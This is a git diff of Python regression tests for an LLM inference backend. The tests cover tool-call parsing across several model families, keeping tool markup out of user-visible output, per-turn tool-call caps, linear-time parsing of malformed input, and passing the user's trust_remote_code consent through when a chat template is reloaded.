     # A stray delimiter (`,`, `}`, `]`) at the primitive position must still advance the
-    # parser, or a looping caller spins forever (DoS).
+    # index by at least one, or a caller looping on it spins forever at 100% CPU (DoS).
     for delim in (",", "}", "]"):
         text = delim + "rest"
-        value, nxt = _gemma_parse_value(text, 0)
+        value, nxt, _explicit = _gemma_parse_value(text, 0)
         assert nxt > 0, (delim, value, nxt)
 
 
 def test_malformed_gemma_array_does_not_hang():
-    # ``[},]`` (stray ``}`` in a list body) hung the buggy parser; the timeout fails
-    # the regression loudly instead of blocking CI forever.
+    # ``[},]`` puts a stray ``}`` at the primitive position inside a list body.
+    # On the buggy parser this hangs the server; guard with a wall-clock timeout
+    # so the regression fails loudly instead of blocking CI forever.
     import threading
 
     result: dict = {}
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 8977d6e92a..dcc759a210 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -1040,7 +1040,7 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch):
 def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
     """No-tool re-prompt attempts should not concatenate into the UI."""
 
-    # One initial response plus one stream per re-prompt (count from the shared cap).
+    # One initial response plus one stream per re-prompt; derive the count from the shared cap.
     streams = [[_sse({"content": "I will use render_html now."}), _done()]]
     streams += [
         [_sse({"content": "Understood. I will use render_html now."}), _done()]
@@ -1207,8 +1207,8 @@ def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatc
 
 
 def test_textual_mistral_marker_not_leaked_when_inline_with_preface(monkeypatch):
-    # Inline Mistral ``[TOOL_CALLS]`` after a visible preface: the DRAINING flush must use the
-    # shared parser patterns (the legacy set leaked the marker to clients).
+    # Textual Mistral ``[TOOL_CALLS]`` inline with visible preface: the DRAINING flush must use the
+    # shared parser patterns (which know ``[TOOL_CALLS]``); the legacy set leaked the marker to clients.
     streams = [
         [_sse({"content": 'Let me search. [TOOL_CALLS]web_search{"query":"cats"}'}), _done()],
         [_sse({"content": "done"}), _done()],
@@ -1836,6 +1836,7 @@ def test_bare_json_tool_call_streamed_is_not_leaked_and_executes(monkeypatch):
         )
     )
 
+    # The tool ran with the parsed arguments.
     assert calls == [("web_search", {"query": "weather in Sydney"})]
     assert any(
         event.get("type") == "tool_end" and event.get("tool_name") == "web_search"
@@ -1903,6 +1904,37 @@ def test_incomplete_bare_json_truncation_is_not_leaked(monkeypatch):
     assert all('{"name"' not in t for t in content_texts), content_texts
 
 
+def test_gguf_truncated_ordinary_json_with_name_key_is_shown_not_suppressed(monkeypatch):
+    """A truncated markerless object whose "name" is NOT an enabled tool (a person
+    record cut off mid-stream, ``{"name":"Alice","age":``) must still be shown. The
+    end-of-stream ``_is_bare_tc`` heuristic routed any ``{...,"name",...}`` fragment
+    to DRAINING (dropped); it is now gated on the enabled tool names so only a real
+    truncated tool call is suppressed, ordinary JSON streams through."""
+
+    truncated = '{"name": "Alice", "age": 30, "bio": "loves '
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "start a person record"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
 def test_gguf_truncated_disabled_name_json_is_preserved_when_tools_active(monkeypatch):
     """A truncated JSON answer with a non-enabled name must still be shown (resolvers are gated on enabled names)."""
 
@@ -1987,6 +2019,40 @@ def test_gguf_oversized_disabled_name_json_is_preserved(monkeypatch):
     assert any("Alice" in t for t in content_texts), content_texts[:1]
 
 
+def test_gemma_wrapperless_call_streamed_is_not_leaked_and_executes(monkeypatch):
+    """Gemma 4 GGUF (skip_special_tokens) streams a wrapper-less ``call:NAME{..}``
+    with no XML signal. Like bare JSON, the BUFFERING scan must recognise it via
+    _GEMMA_BARE_TC_RE, drain it silently, and execute the tool -- never leaking
+    the ``call:`` markup to the user-visible stream."""
+
+    gemma_call = 'call:web_search{query:"weather in Sydney"}'
+    first_stream = _streamed_content(gemma_call)
+    final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "Weather: sunny, 22C."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather in Sydney?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "weather in Sydney"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("call:" not in t for t in content_texts), content_texts
+    assert any("sunny in Sydney" in t for t in content_texts), content_texts
+
+
 def _usage_done(usage: dict, finish_reason: str = "stop") -> str:
     """A terminal SSE chunk carrying llama-server's ``usage`` block, the way the
     real server reports it on the final chunk of a completion."""
@@ -2124,6 +2190,66 @@ def test_gguf_bare_json_call_not_replayed_in_next_turn_content(monkeypatch):
     assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
 
 
+def test_gguf_textual_fallback_caps_distinct_tool_calls_per_turn(monkeypatch):
+    """A single textual-fallback turn that parses many DISTINCT tool calls must be
+    capped at _MAX_TOOL_CALLS_PER_TURN (structured delta.tool_calls are grammar
+    bounded by llama-server; text parsed from content is not). Mirrors the
+    safetensors loop so one runaway turn cannot fan out into dozens of executions."""
+    from core.inference.llama_cpp import _MAX_TOOL_CALLS_PER_TURN
+
+    n = _MAX_TOOL_CALLS_PER_TURN + 4
+    blocks = "".join(
+        '<tool_call>{"name":"t%d","arguments":{"i":%d}}</tool_call>' % (i, i) for i in range(n)
+    )
+    first_stream = [_sse({"content": blocks}), _done()]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": f"t{i}"}} for i in range(n)],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert len(calls) == _MAX_TOOL_CALLS_PER_TURN, [c[0] for c in calls]
+    # The cap keeps the first calls in order (no reordering / drop of leading ones).
+    assert [c[0] for c in calls] == [f"t{i}" for i in range(_MAX_TOOL_CALLS_PER_TURN)]
+
+
+def test_gguf_textual_fallback_collapses_duplicate_tool_calls(monkeypatch):
+    """Exact-duplicate textual calls in one turn collapse to a single execution."""
+    blocks = '<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>' * 5
+    first_stream = [_sse({"content": blocks}), _done()]
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert len(calls) == 1, [c[0] for c in calls]
+
+
 def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(monkeypatch):
     """Auto-Heal OFF keeps a truncated enabled-name fragment visible; ON suppresses it (strip gated on auto_heal_tool_calls)."""
 
@@ -2159,8 +2285,8 @@ def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disable
 
 def test_gguf_valid_tool_calls_respect_max_tool_iterations(monkeypatch):
     """Re-prompt slots must not extend the tool budget: stop after ``max_tool_iterations`` executed rounds."""
-    # More tool-call streams than the budget: leaked re-prompt slots would run 2+3=5 rounds;
-    # honouring the budget stops after 2, then a tool-less final-answer pass.
+    # More tool-call streams than the budget: if re-prompt slots leaked into the budget (the bug) the
+    # loop would run 2+3=5 rounds; honouring it stops after 2, then a tool-less final-answer pass.
     streams = [
         _structured_tool_call("web_search", {"query": f"q{i}"}, f"call_{i}") for i in range(6)
     ]
diff --git a/studio/backend/tests/test_mcp_servers.py b/studio/backend/tests/test_mcp_servers.py
index 12239e7113..6d26d075cf 100644
--- a/studio/backend/tests/test_mcp_servers.py
+++ b/studio/backend/tests/test_mcp_servers.py
@@ -587,10 +587,12 @@ def test_tool_xml_strip_handles_hyphenated_function_names():
     import re as _re
     from pathlib import Path
 
+    from core.inference.tool_call_parser import _DEEPSEEK_OPEN_RE_SRC as _DS_OPEN_SRC
+
     src = (Path(__file__).resolve().parent.parent / "routes/inference.py").read_text()
     m = _re.search(r"_TOOL_XML_RE = _re\.compile\((.*?)\n\)", src, _re.DOTALL)
     assert m, "could not extract _TOOL_XML_RE"
-    ns: dict = {"_re": _re}
+    ns: dict = {"_re": _re, "_DS_OPEN_SRC": _DS_OPEN_SRC}
     exec(f"_TOOL_XML_RE = _re.compile({m.group(1)})", ns)
     rx = ns["_TOOL_XML_RE"]
     stripped = rx.sub(
diff --git a/studio/backend/tests/test_mlx_inference_backend.py b/studio/backend/tests/test_mlx_inference_backend.py
index 9871965ce8..ac4088fb25 100644
--- a/studio/backend/tests/test_mlx_inference_backend.py
+++ b/studio/backend/tests/test_mlx_inference_backend.py
@@ -100,6 +100,32 @@ def test_mlx_inference_text_load_forwards_studio_settings(monkeypatch):
     ]
     assert backend._is_vlm is False
     assert isinstance(backend._tokenizer, _DummyTokenizer)
+    # Non-LoRA text model: no base_model on the record.
+    assert backend.models["fake/text"]["base_model"] is None
+
+
+def test_mlx_text_lora_record_keeps_base_model_for_native_template(monkeypatch):
+    # A LoRA adapter's own tokenizer often ships no chat template; the native tool-calling template
+    # lives on the base model.
+    _install_fake_mlx(monkeypatch)
+    calls = []
+    _install_fake_fast_mlx(monkeypatch, calls)
+
+    from core.inference.mlx_inference import MLXInferenceBackend
+
+    backend = MLXInferenceBackend()
+    config = SimpleNamespace(
+        identifier = "fake/text-adapter",
+        is_vision = False,
+        is_lora = True,
+        base_model = "fake/text-base",
+    )
+
+    assert backend.load_model(config, max_seq_length = 4096, hf_token = "hf-token")
+
+    record = backend.models["fake/text-adapter"]
+    assert record["is_lora"] is True
+    assert record["base_model"] == "fake/text-base"
 
 
 def test_mlx_inference_vlm_lora_uses_unsloth_loader_without_native_adapter_rewrite(
@@ -188,12 +214,12 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
     _install_fake_mlx(monkeypatch)
     from core.inference.mlx_inference import MLXInferenceBackend
 
-    captured = {}
+    # The text path renders once with tools, then the native-template fallback makes a second no-
+    # tools probe call (tools=None) to detect whether the template dropped the schema.
+    captured_calls = []
 
     def _fake_apply(tokenizer, messages, **kwargs):
-        captured["tokenizer"] = tokenizer
-        captured["messages"] = messages
-        captured["kwargs"] = kwargs
+        captured_calls.append({"tokenizer": tokenizer, "messages": messages, "kwargs": kwargs})
         return "<rendered prompt>"
 
     monkeypatch.setattr(
@@ -248,8 +274,15 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch):
         )
     )
     assert out == ["hi"]
-    # The toggled kwargs must reach the chat-template helper.
-    assert captured["kwargs"]["tools"] == [{"function": {"name": "web_search"}}]
-    assert captured["kwargs"]["enable_thinking"] is True
-    assert captured["kwargs"]["reasoning_effort"] == "medium"
-    assert captured["kwargs"]["preserve_thinking"] is True
+    # The toggled kwargs must reach the chat-template helper on the real render
+    # (one of the calls carries the tools; the fallback probe passes tools=None).
+    tool_renders = [
+        c
+        for c in captured_calls
+        if c["kwargs"].get("tools") == [{"function": {"name": "web_search"}}]
+    ]
+    assert tool_renders, captured_calls
+    render = tool_renders[0]
+    assert render["kwargs"]["enable_thinking"] is True
+    assert render["kwargs"]["reasoning_effort"] == "medium"
+    assert render["kwargs"]["preserve_thinking"] is True
diff --git a/studio/backend/tests/test_native_template_trust_remote_code.py b/studio/backend/tests/test_native_template_trust_remote_code.py
new file mode 100644
index 0000000000..60dc80f64c
--- /dev/null
+++ b/studio/backend/tests/test_native_template_trust_remote_code.py
@@ -0,0 +1,176 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for trust_remote_code in the native-template fallback.
+
+``render_native_template`` re-fetches a model's native chat template from its
+repo when an Unsloth override template (mistral, gemma-4) dropped the tools
+schema. For a model loaded with ``trust_remote_code=True`` whose tokenizer repo
+carries custom code, the secondary ``AutoTokenizer.from_pretrained`` must re-use
+that same consent or transformers raises (it requires ``trust_remote_code`` to
+instantiate a custom tokenizer class), the ``except`` swallows it, and the
+request silently keeps the tool-dropping prompt even though the user already
+consented to remote code for the model load.
+
+These tests pin that the stored ``trust_remote_code`` is threaded to the reload,
+that the reload is skipped (returns ``None`` without executing code) when no
+consent is stored, and that both backend ``model_info`` dicts persist the flag at
+load time so the read lands on a value ``load_model`` actually set.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+from pathlib import Path
+
+import pytest
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# ``chat_template_helpers`` is dependency-light (copy / logging / typing, with the
+# transformers import deferred inside the function). Load it directly so the test
+# runs without importing the heavy ``core.inference`` package (unsloth / torch).
+_HELPERS_PATH = Path(_BACKEND_DIR) / "core" / "inference" / "chat_template_helpers.py"
+_spec = importlib.util.spec_from_file_location("_native_tpl_trc_test", _HELPERS_PATH)
+chat_template_helpers = importlib.util.module_from_spec(_spec)
+_spec.loader.exec_module(chat_template_helpers)
+
+render_native_template = chat_template_helpers.render_native_template
+
+
+# A native template that emits a tools section only when tools are provided, so the
+# with-tools vs no-tools render differs and ``render_native_template`` accepts it.
+_NATIVE_TEMPLATE = (
+    "{% for m in messages %}{{ m['role'] }}: {{ m['content'] }}\n{% endfor %}"
+    "{% if tools %}[AVAILABLE_TOOLS]{{ tools }}[/AVAILABLE_TOOLS]\n{% endif %}"
+    "{% if add_generation_prompt %}assistant:{% endif %}"
+)
+
+_MESSAGES = [{"role": "user", "content": "what is the weather"}]
+_TOOLS = [{"type": "function", "function": {"name": "get_weather"}}]
+
+
+class _JinjaTokenizer:
+    """Minimal tokenizer whose ``apply_chat_template`` renders ``self.chat_template``.
+
+    Stands in for the live model tokenizer that ``render_native_template`` shallow-
+    copies and re-points at the native template before rendering.
+    """
+
+    def __init__(self, chat_template):
+        self.chat_template = chat_template
+
+    def apply_chat_template(
+        self,
+        messages,
+        tokenize = False,
+        add_generation_prompt = True,
+        tools = None,
+        **kwargs,
+    ):
+        from jinja2 import BaseLoader, Environment
+        env = Environment(loader = BaseLoader())
+        return env.from_string(self.chat_template).render(
+            messages = messages,
+            tools = tools,
+            add_generation_prompt = add_generation_prompt,
+        )
+
+
+def _install_custom_code_tokenizer(monkeypatch):
+    """Patch ``AutoTokenizer.from_pretrained`` to mimic a custom-code repo: raise
+    unless ``trust_remote_code`` is truthy, else return a tokenizer carrying the
+    native template. Records the ``trust_remote_code`` it was called with."""
+    pytest.importorskip("jinja2")
+    from transformers import AutoTokenizer
+
+    calls = {}
+
+    def fake_from_pretrained(
+        model_id,
+        *args,
+        trust_remote_code = False,
+        token = None,
+        **kwargs,
+    ):
+        calls["trust_remote_code"] = trust_remote_code
+        calls["model_id"] = model_id
+        calls["token"] = token
+        if not trust_remote_code:
+            # Mirrors transformers.dynamic_module_utils.resolve_trust_remote_code:
+            # has_remote_code and not has_local_code and not trust_remote_code -> ValueError.
+            raise ValueError(
+                f"The repository {model_id} contains custom code which must be executed "
+                "to correctly load the model. Please pass the argument "
+                "`trust_remote_code=True` to allow custom code to be run."
+            )
+        return _JinjaTokenizer(_NATIVE_TEMPLATE)
+
+    monkeypatch.setattr(AutoTokenizer, "from_pretrained", staticmethod(fake_from_pretrained))
+    return calls
+
+
+def _model_info(trust_remote_code):
+    return {
+        "native_chat_template": None,  # force the repo reload path
+        "base_model": None,  # non-LoRA: template_source == active_model_name
+        "trust_remote_code": trust_remote_code,
+        # Live tokenizer that gets shallow-copied + re-pointed at the native template.
+        "tokenizer": _JinjaTokenizer("OVERRIDE-THAT-DROPS-TOOLS"),
+    }
+
+
+def test_native_reload_passes_stored_trust_remote_code(monkeypatch):
+    """With ``trust_remote_code`` stored on ``model_info`` the custom-code reload
+    succeeds and the tools-advertising native prompt is returned. This FAILS before
+    the fix (reload omits the flag, raises, is swallowed, returns None)."""
+    calls = _install_custom_code_tokenizer(monkeypatch)
+    model_info = _model_info(trust_remote_code = True)
+
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "acme/custom-tokenizer-model",
+        messages = _MESSAGES,
+        tools = _TOOLS,
+    )
+
+    assert out is not None, "native fallback should render the tools prompt with consent"
+    assert "[AVAILABLE_TOOLS]" in out
+    assert "get_weather" in out
+    assert calls["trust_remote_code"] is True  # the stored consent was threaded through
+    # A successful fetch is cached so the next tool turn skips the reload.
+    assert model_info["native_chat_template"] == _NATIVE_TEMPLATE
+
+
+def test_native_reload_without_consent_returns_none(monkeypatch):
+    """Without stored consent the custom-code reload raises, is swallowed, and
+    ``render_native_template`` returns None (no unconsented code execution). Proves
+    the stored flag -- not a hard-coded True -- drives the reload."""
+    calls = _install_custom_code_tokenizer(monkeypatch)
+    model_info = _model_info(trust_remote_code = False)
+
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "acme/custom-tokenizer-model",
+        messages = _MESSAGES,
+        tools = _TOOLS,
+    )
+
+    assert out is None
+    assert calls["trust_remote_code"] is False
+    # A failed fetch must not be cached as "no template" (would pin the tool drop).
+    assert model_info["native_chat_template"] is None
+
+
+def test_backend_model_info_persists_trust_remote_code():
+    """Both backends must store ``trust_remote_code`` on their per-model info dict so
+    ``render_native_template`` can source the consent value. Guards against the read
+    landing on a key ``load_model`` never sets (which would silently no-op the fix)."""
+    inf = (Path(_BACKEND_DIR) / "core" / "inference" / "inference.py").read_text()
+    mlx = (Path(_BACKEND_DIR) / "core" / "inference" / "mlx_inference.py").read_text()
+    assert '"trust_remote_code": trust_remote_code,' in inf
+    assert '"trust_remote_code": trust_remote_code,' in mlx
diff --git a/studio/backend/tests/test_pr5624_regressions.py b/studio/backend/tests/test_pr5624_regressions.py
new file mode 100644
index 0000000000..4f5471675c
--- /dev/null
+++ b/studio/backend/tests/test_pr5624_regressions.py
@@ -0,0 +1,1011 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""
+Regression tests for PR #5624 (DeepSeek R1/V3.x, GLM 4.x, Kimi K2 tool
+parsing). Each test pins a specific edge case surfaced during the
+review:
+
+* GLM string-vs-JSON-encoded value coercion (template emits strings
+  raw and non-strings JSON-encoded; the parser must not coerce a
+  bare string ``"42"`` into ``42``).
+* GLM ``<arg_value>`` containing a literal ``<`` (e.g. ``if x < 10``).
+* Kimi K2 dotted name ``functions.my.tool:0`` keeps its full name
+  (``my.tool``) after stripping only the ``functions.`` prefix and
+  ``:idx`` suffix, while the full id is preserved on the call.
+* Kimi K2 bare-counter id (no ``functions.`` prefix, no ``:IDX``) is
+  dropped rather than surfaced under a numeric name.
+* DeepSeek V3.1 truncated mid-stream produces an empty result without
+  raising.
+* ``routes.inference._strip_tool_xml`` strips the DeepSeek envelope and
+  the Kimi section markers added by this PR.
+"""
+
+import json
+
+import pytest
+
+from core.inference.tool_call_parser import (
+    parse_tool_calls_from_text,
+    strip_tool_markup,
+)
+
+
+# GLM string-vs-JSON-encoded value coercion (finding B in plan)
+
+
+@pytest.mark.parametrize(
+    "raw_val, expected_python",
+    [
+        # Bare numeric / bool / null shapes are still treated as JSON
+        # literals (ambiguous with strings; the template doesn't tell us).
+        ("42", 42),
+        ("true", True),
+        ("false", False),
+        ("null", None),
+        ("3.14", 3.14),
+        ("-7", -7),
+        ("1e3", 1000.0),
+    ],
+)
+def test_glm_numeric_and_bool_literals_are_json_decoded(raw_val, expected_python):
+    text = (
+        "<tool_call>n\n"
+        f"<arg_key>v</arg_key>\n"
+        f"<arg_value>{raw_val}</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["v"] == expected_python
+
+
+@pytest.mark.parametrize(
+    "raw_val",
+    [
+        "hello world",  # plain prose
+        "True",  # Python literal, NOT JSON -- no longer eaten by ast.literal_eval
+        "None",  # Python literal, NOT JSON -- no longer eaten by ast.literal_eval
+        "if x < 10: pass",  # code with literal < (well, < not in arg_value here)
+        "{not valid json",  # looks like an object but is malformed -- must stay raw
+        "[oops",  # looks like an array but is malformed
+    ],
+)
+def test_glm_non_json_shapes_stay_raw(raw_val):
+    text = (
+        "<tool_call>n\n"
+        f"<arg_key>v</arg_key>\n"
+        f"<arg_value>{raw_val}</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["v"] == raw_val
+    assert isinstance(args["v"], str)
+
+
+def test_glm_json_object_arg_decoded():
+    text = (
+        "<tool_call>nest\n"
+        "<arg_key>opts</arg_key>\n"
+        '<arg_value>{"limit": 10}</arg_value>\n'
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["opts"] == {"limit": 10}
+
+
+def test_glm_json_array_arg_decoded():
+    text = (
+        "<tool_call>nest\n"
+        "<arg_key>ids</arg_key>\n"
+        "<arg_value>[1, 2, 3]</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["ids"] == [1, 2, 3]
+
+
+def test_glm_arg_value_with_literal_less_than():
+    text = (
+        "<tool_call>run\n"
+        "<arg_key>code</arg_key>\n"
+        "<arg_value>if x < 10: pass</arg_value>\n"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args["code"] == "if x < 10: pass"
+
+
+# GLM 4.7 no-newline emission shape
+
+
+def test_glm_4_7_no_newlines_between_name_and_arg_key():
+    """GLM 4.7 strips the ``\\n`` after the name (``{{- ... -}}`` in the
+    template) so ``<arg_key>`` follows directly. Parser must accept both."""
+    text = (
+        "<tool_call>get_weather"
+        "<arg_key>city</arg_key><arg_value>London</arg_value>"
+        "<arg_key>units</arg_key><arg_value>celsius</arg_value>"
+        "</tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_weather"
+    args = json.loads(calls[0]["function"]["arguments"])
+    assert args == {"city": "London", "units": "celsius"}
+
+
+def test_glm_4_7_no_newlines_multi_call():
+    """Back-to-back GLM 4.7 calls without intervening newlines."""
+    text = (
+        "<tool_call>a<arg_key>x</arg_key><arg_value>1</arg_value></tool_call>"
+        "<tool_call>b<arg_key>y</arg_key><arg_value>2</arg_value></tool_call>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 2
+    assert calls[0]["function"]["name"] == "a"
+    assert calls[1]["function"]["name"] == "b"
+
+
+def test_glm_4_7_does_not_break_qwen_path():
+    """Qwen ``<tool_call>{json}`` still dispatches to Qwen; GLM's
+    first-char ``[^\\n<{]`` excludes ``{``."""
+    text = '<tool_call>{"name":"web_search","arguments":{"q":"x"}}</tool_call>'
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "web_search"
+
+
+# Kimi K2 dotted name + bare counter (finding C in plan)
+
+
+def test_kimi_dotted_namespace_keeps_full_dotted_name():
+    # A dotted Kimi id keeps its FULL name; only the ``functions.`` prefix and ``:idx`` suffix drop (vLLM parity).
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.my.tool:0"
+        "<|tool_call_argument_begin|>{}"
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "my.tool"
+    assert calls[0]["id"] == "functions.my.tool:0"
+
+
+def test_kimi_two_sections_in_one_stream_both_parse():
+    """Outer loop walks every ``<|tool_calls_section_begin|>...end|>``
+    so vLLM / SGLang parity holds even on multi-section streams."""
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.a:0"
+        '<|tool_call_argument_begin|>{"x":1}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+        " some prose between sections "
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>functions.b:0"
+        '<|tool_call_argument_begin|>{"y":2}'
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 2
+    assert calls[0]["function"]["name"] == "a"
+    assert calls[1]["function"]["name"] == "b"
+    assert calls[0]["id"] == "functions.a:0"
+    assert calls[1]["id"] == "functions.b:0"
+
+
+def test_kimi_bare_counter_id_is_dropped():
+    """Bare-digit id (``3``) is dropped (matches vLLM); SGLang infers
+    name from schema, which we don't have at parse time."""
+    text = (
+        "<|tool_calls_section_begin|>"
+        "<|tool_call_begin|>3"
+        "<|tool_call_argument_begin|>{}"
+        "<|tool_call_end|>"
+        "<|tool_calls_section_end|>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert calls == []
+
+
+# DeepSeek truncated mid-stream
+
+
+def test_deepseek_v3_1_huge_truncated_body_is_linear():
+    """Adversarial input: DeepSeek envelope with no JSON brace and a
+    50k-char body. A regex-based ``[^\\n<]+?`` name capture is O(N^2)
+    here; the parser uses ``str.find`` on the sep marker so it stays
+    linear. Budget 1s to flag any future regression."""
+    import time as _time
+
+    text = "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>fn<｜tool▁sep｜>" + "x" * 50_000
+    start = _time.time()
+    calls = parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"V3 path is non-linear: {elapsed:.2f}s"
+    assert calls == []
+
+
+def test_deepseek_r1_huge_fenceless_body_is_linear():
+    """R1 detection used a greedy ``([^\\n]+)\\n```json`` regex that is O(N^2) on a
+    fence-less body of repeated ``function<sep>`` tokens. The parser now scans with
+    ``str.find``; budget 1s to flag any regression."""
+    import time as _time
+
+    text = "<｜tool▁calls▁begin｜>" + "function<｜tool▁sep｜>a" * 40_000
+    start = _time.time()
+    calls = parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"R1 path is non-linear: {elapsed:.2f}s"
+    assert calls == []
+
+
+def test_glm_unclosed_body_many_arg_keys_is_linear():
+    """An unclosed GLM ``<tool_call>`` body runs to EOF; a lazy-group ``finditer``
+    over many bare ``<arg_key>`` tokens was O(N^2). The parser now walks pairs with
+    ``str.find``; budget 1s."""
+    import time as _time
+
+    text = "<tool_call>foo\n" + "<arg_key>k" * 40_000
+    start = _time.time()
+    parse_tool_calls_from_text(text)
+    elapsed = _time.time() - start
+    assert elapsed < 1.0, f"GLM path is non-linear: {elapsed:.2f}s"
+
+
+def test_deepseek_r1_fenced_json_parses():
+    """R1 wraps args in a ```json fence after ``function<sep>NAME``."""
+    import json as _json
+
+    text = (
+        "<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>function<｜tool▁sep｜>get_weather\n"
+        "```json\n"
+        '{"city":"NYC","unit":"c"}\n'
+        "```<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_weather"
+    assert _json.loads(calls[0]["function"]["arguments"]) == {"city": "NYC", "unit": "c"}
+
+
+def test_deepseek_v3_1_truncated_arguments_drops_call_without_crash():
+    text = (
+        "<｜tool▁calls▁begin｜>"
+        "<｜tool▁call▁begin｜>get_time"
+        "<｜tool▁sep｜>"
+        '{"city":"Tokyo"'  # no closing brace, no end markers
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert calls == []
+
+
+def test_deepseek_v3_1_truncated_after_end_marker_still_yields_call():
+    text = (
+        "<｜tool▁calls▁begin｜>" "<｜tool▁call▁begin｜>get_time" "<｜tool▁sep｜>" '{"city":"Tokyo"}'
+        # neither <｜tool▁call▁end｜> nor <｜tool▁calls▁end｜>
+    )
+    calls = parse_tool_calls_from_text(text)
+    assert len(calls) == 1
+    assert calls[0]["function"]["name"] == "get_time"
+    assert json.loads(calls[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+
+# Routes-layer strip across the three new families
+
+
